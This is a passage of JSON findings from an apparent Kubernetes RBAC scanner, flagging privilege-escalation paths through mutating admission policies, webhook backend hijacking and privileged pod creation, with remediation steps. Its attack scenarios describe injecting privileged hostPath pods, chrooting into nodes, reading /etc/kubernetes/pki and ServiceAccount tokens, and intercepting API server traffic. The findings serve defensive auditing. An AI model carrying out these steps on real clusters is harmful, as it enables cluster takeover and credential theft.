        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/flux-system/kustomize-controller::*",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/flux-system/kustomize-controller` can rewrite every admitted object",
    "description": "Subject ServiceAccount/flux-system/kustomize-controller can write `mutatingadmissionpolicies` (via ClusterRoleBinding `deepchain-flux-admin` : ClusterRole `cluster-admin`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `deepchain-flux-admin` : ClusterRole `cluster-admin`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=kustomize-controller -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=kustomize-controller -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-flux-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/flux-system/kustomize-controller. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=kustomize-controller -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-019:ServiceAccount/rbac-fixtures/sa-cluster-admin::*",
    "rule_id": "KUBE-PRIVESC-019",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Mutating admission policy injection: `ServiceAccount/rbac-fixtures/sa-cluster-admin` can rewrite every admitted object",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can write `mutatingadmissionpolicies` (via ClusterRoleBinding `crb-cluster-admin` : ClusterRole `cluster-admin`) and `mutatingadmissionpolicybindings` (via ClusterRoleBinding `crb-cluster-admin` : ClusterRole `cluster-admin`). A `MutatingAdmissionPolicy` is the in-tree, webhookless equivalent of a mutating admission webhook (GA in Kubernetes v1.36): its CEL / JSONPatch / ApplyConfiguration mutation is stored in etcd and executed in-process by the apiserver, so there is no external endpoint, no serving certificate, and no backing Deployment, only the policy object and a binding that activates it.\n\nWith write access to both, the subject authors a mutation that matches `pods` on CREATE and injects `securityContext.privileged: true`, a `hostPath` volume mounting the node root, or an extra container, then binds it. Every pod created afterwards, by any workload, controller, or user, is silently rewritten before it is persisted. One privileged pod on a node is a host escape, and from a control-plane node that is the cluster CA and every token.\n\nBoth halves are load-bearing, which is why this finding requires them together: a policy with no binding never executes, and a binding pointing at no attacker-controlled policy mutates nothing. This mirrors `KUBE-PRIVESC-010`, where a binding write escalates only alongside the `bind` verb.\n\nOne ordering detail decides where the injected pod can land, and the finding does not overstate it: mutating admission runs before validating admission, and Pod Security Admission is a validating plugin, so an injected `privileged` pod is still rejected by PSA in a namespace that enforces `baseline` or `restricted`. The mutation therefore targets a namespace PSA does not restrict (an unlabeled namespace, or a `privileged`-labelled one such as `kube-system`), which every real cluster has at least one of.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: MutatingAdmissionPolicies and their bindings are cluster-scoped and rewrite admission for every matching request across the cluster"
    },
    "impact": "Cluster-wide admission-time object rewriting. The subject injects privileged settings, host mounts, or sidecars into every future pod, defeating pod-hardening for all workloads at once and reaching node, then control-plane, compromise, with no webhook or external infrastructure to detect.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i create mutatingadmissionpolicies --as=sa-cluster-admin -A` and `kubectl auth can-i create mutatingadmissionpolicybindings --as=sa-cluster-admin -A`.",
      "They author a MutatingAdmissionPolicy matching `pods` CREATE whose ApplyConfiguration/JSONPatch sets `spec.containers[*].securityContext.privileged: true` and adds a `hostPath: /` volume, scoped (via matchConstraints or a namespaceSelector) to a namespace PSA does not restrict.",
      "They create a MutatingAdmissionPolicyBinding referencing the policy, activating it cluster-wide for matching requests.",
      "They wait for (or trigger) a pod create in that namespace (a Deployment rollout, a Job, their own `kubectl run`); the apiserver rewrites it in-process and admits a privileged, host-mounting pod.",
      "From the privileged pod they `chroot` into the host root, read `/etc/kubernetes/pki/*` or `/var/lib/kubelet` on a control-plane-adjacent node, and forge cluster-admin credentials."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-cluster-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Remove write access to `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from every non-admin identity; treat it like write access to (Cluster)RoleBindings.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `mutatingadmissionpolicies` and `mutatingadmissionpolicybindings` from ServiceAccount/rbac-fixtures/sa-cluster-admin. These verbs belong only to cluster administrators.",
      "Audit who else holds them: `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | test(\"mutatingadmissionpolic\")) | .metadata.name'` (add the ClusterRoleBinding subjects to see the reachable identities).",
      "Enumerate existing policies and bindings for a mutation already planted: `kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings -o yaml` and review each `spec.mutations` block.",
      "Add a ValidatingAdmissionPolicy (or Kyverno / Gatekeeper rule) that rejects creation of MutatingAdmissionPolicies / bindings outside a tiny admin allowlist, as defence in depth.",
      "Verify with `kubectl auth can-i create mutatingadmissionpolicies --as=sa-cluster-admin -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: MutatingAdmissionPolicy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/"
      },
      {
        "title": "Kubernetes: Admission control ordering (mutating before validating)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-038:ServiceAccount/rbac-fixtures/sa-workload-mutate::deployments,daemonsets,statefulsets,jobs,cronjobs",
    "rule_id": "KUBE-PRIVESC-038",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Control-plane backend hijack: `ServiceAccount/rbac-fixtures/sa-workload-mutate` can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in `hookbackend-fixtures`",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-workload-mutate can steer the traffic of Services in `hookbackend-fixtures` (via ClusterRoleBinding `crb-workload-mutate` → ClusterRole `cr-workload-mutate`), a namespace that hosts MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com, which the API server itself calls. The subject also holds a way to present the backend's serving certificate (via ClusterRoleBinding `crb-workload-mutate` → ClusterRole `cr-workload-mutate`): read the Secret, mount it in a pod of its own, or run code in the backend's pods.\n\nAn admission webhook backend receives every admission review for the objects its rules match, and an aggregated API server receives every request for its API group, both sent by the API server with its own front-proxy credentials and the caller's identity. The API server reaches them through an ordinary Service, verified against the configuration's `caBundle` with the Service's DNS name pinned. Whoever can both steer that Service (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.\n\nThis is why a namespace hosting such a backend has to be treated like kube-system: the built-in `edit` ClusterRole holds both halves (write Services and pods, read Secrets), and so does `admin`. A mutating webhook on pods CREATE hijacked this way rewrites every new pod, the position KUBE-PRIVESC-019 describes; a native-group APIService hijacked this way serves a core API group; a validating webhook is bypassed; any other backend is an interception point for the API server's traffic.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-workload-mutate",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Namespaces hosting a Service the API server calls, where the subject holds both halves: `hookbackend-fixtures`"
    },
    "impact": "Take over a Service the API server calls with its own credentials: rewrite every admitted pod (mutating webhook), bypass policy (validating webhook), or serve an API group in the API server's stead (APIService). The privesc graph reports the resulting path with the sink the backend's kind decides.",
    "attack_scenario": [
      "Attacker confirms the routing half with `kubectl auth can-i patch services --as=sa-workload-mutate -n hookbackend-fixtures` and the TLS half with `kubectl auth can-i get secrets --as=sa-workload-mutate -n hookbackend-fixtures`.",
      "They obtain the backend's serving key (the Secret, a pod that mounts it, or a shell in the backend's own pod) and run a listener that presents it.",
      "They steer the backend Service at their listener: a rewritten selector, an EndpointSlice of their own, or a pod of theirs that matches the selector.",
      "The API server's next admission review or aggregated request arrives at the attacker, who answers it (an injected privileged pod, an allowed request, a forged API response) and forwards the rest to the real backend so nothing visibly breaks."
    ],
    "evidence": {
      "api_groups": [
        "apps",
        "batch"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "deployments",
        "daemonsets",
        "statefulsets",
        "jobs",
        "cronjobs"
      ],
      "scope": "cluster",
      "source_binding": "crb-workload-mutate",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-workload-mutate",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "update",
        "patch"
      ]
    },
    "remediation": "Treat every namespace that hosts a webhook or APIService backend like kube-system: no tenant, CI, or developer bindings there, and no `edit`/`admin` ClusterRoleBindings scoped to it; move the backend into a dedicated namespace if it shares one today.",
    "remediation_steps": [
      "Remove ServiceAccount/rbac-fixtures/sa-workload-mutate's bindings in `hookbackend-fixtures`, or move the backend into a namespace with no tenant bindings.",
      "Audit RoleBindings in every backend namespace: `kubectl get rolebindings -n \u003cns\u003e -o wide`. Expect only the backend's own ServiceAccount and the platform team.",
      "Set the webhook `caBundle` or APIService `caBundle` to a dedicated CA that signs only that backend's serving certificate, keep the serving key in a Secret no other workload mounts, and never set `insecureSkipTLSVerify`.",
      "Apply a NetworkPolicy that lets only the control plane reach the backend pods, and alert on EndpointSlices in these namespaces whose `managed-by` label is not the EndpointSlice controller.",
      "Review every grant of `update`/`patch` on `apiservices` and scope it with `resourceNames` to the installer's own registrations."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#contacting-the-webhook",
      "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/",
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Dynamic Admission Control (webhook clientConfig.service and caBundle)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#contacting-the-webhook"
      },
      {
        "title": "Kubernetes: Configure the Aggregation Layer (front-proxy credentials)",
        "url": "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/"
      },
      {
        "title": "Kubernetes: EndpointSlices (ownership and the managed-by label)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Control plane hardening",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-038:ServiceAccount/vulnerable/privileged-reader::pods",
    "rule_id": "KUBE-PRIVESC-038",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Control-plane backend hijack: `ServiceAccount/vulnerable/privileged-reader` can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in `hookbackend-fixtures`",
    "description": "Subject ServiceAccount/vulnerable/privileged-reader can steer the traffic of Services in `hookbackend-fixtures` (via ClusterRoleBinding `privileged-reader` → ClusterRole `privileged-reader`), a namespace that hosts MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com, which the API server itself calls. The subject also holds a way to present the backend's serving certificate (via ClusterRoleBinding `privileged-reader` → ClusterRole `privileged-reader`): read the Secret, mount it in a pod of its own, or run code in the backend's pods.\n\nAn admission webhook backend receives every admission review for the objects its rules match, and an aggregated API server receives every request for its API group, both sent by the API server with its own front-proxy credentials and the caller's identity. The API server reaches them through an ordinary Service, verified against the configuration's `caBundle` with the Service's DNS name pinned. Whoever can both steer that Service (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.\n\nThis is why a namespace hosting such a backend has to be treated like kube-system: the built-in `edit` ClusterRole holds both halves (write Services and pods, read Secrets), and so does `admin`. A mutating webhook on pods CREATE hijacked this way rewrites every new pod, the position KUBE-PRIVESC-019 describes; a native-group APIService hijacked this way serves a core API group; a validating webhook is bypassed; any other backend is an interception point for the API server's traffic.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "privileged-reader",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Namespaces hosting a Service the API server calls, where the subject holds both halves: `hookbackend-fixtures`"
    },
    "impact": "Take over a Service the API server calls with its own credentials: rewrite every admitted pod (mutating webhook), bypass policy (validating webhook), or serve an API group in the API server's stead (APIService). The privesc graph reports the resulting path with the sink the backend's kind decides.",
    "attack_scenario": [
      "Attacker confirms the routing half with `kubectl auth can-i patch services --as=privileged-reader -n hookbackend-fixtures` and the TLS half with `kubectl auth can-i get secrets --as=privileged-reader -n hookbackend-fixtures`.",
      "They obtain the backend's serving key (the Secret, a pod that mounts it, or a shell in the backend's own pod) and run a listener that presents it.",
      "They steer the backend Service at their listener: a rewritten selector, an EndpointSlice of their own, or a pod of theirs that matches the selector.",
      "The API server's next admission review or aggregated request arrives at the attacker, who answers it (an injected privileged pod, an allowed request, a forged API response) and forwards the rest to the real backend so nothing visibly breaks."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "cluster",
      "source_binding": "privileged-reader",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "privileged-reader",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Treat every namespace that hosts a webhook or APIService backend like kube-system: no tenant, CI, or developer bindings there, and no `edit`/`admin` ClusterRoleBindings scoped to it; move the backend into a dedicated namespace if it shares one today.",
    "remediation_steps": [
      "Remove ServiceAccount/vulnerable/privileged-reader's bindings in `hookbackend-fixtures`, or move the backend into a namespace with no tenant bindings.",
      "Audit RoleBindings in every backend namespace: `kubectl get rolebindings -n \u003cns\u003e -o wide`. Expect only the backend's own ServiceAccount and the platform team.",
      "Set the webhook `caBundle` or APIService `caBundle` to a dedicated CA that signs only that backend's serving certificate, keep the serving key in a Secret no other workload mounts, and never set `insecureSkipTLSVerify`.",
      "Apply a NetworkPolicy that lets only the control plane reach the backend pods, and alert on EndpointSlices in these namespaces whose `managed-by` label is not the EndpointSlice controller.",
      "Review every grant of `update`/`patch` on `apiservices` and scope it with `resourceNames` to the installer's own registrations."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#contacting-the-webhook",
      "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/",
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Dynamic Admission Control (webhook clientConfig.service and caBundle)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#contacting-the-webhook"
      },
      {
        "title": "Kubernetes: Configure the Aggregation Layer (front-proxy credentials)",
        "url": "https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/"
      },
      {
        "title": "Kubernetes: EndpointSlices (ownership and the managed-by label)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Control plane hardening",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/cutres/cutres-doublebind:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "CRITICAL",
    "score": 9,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-doublebind` can reach **node escape** (host root) in 1 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-doublebind` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/cutres/cutres-doublebind` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-doublebind",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-doublebind` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-doublebind` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/cutres/cutres-doublebind`.",
      "Acting as `ServiceAccount/cutres/cutres-doublebind`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 1,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/cutres/cutres-doublebind` → `/`). Evaluated cut: removing this subject from the `cutres-pod-creator-a` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
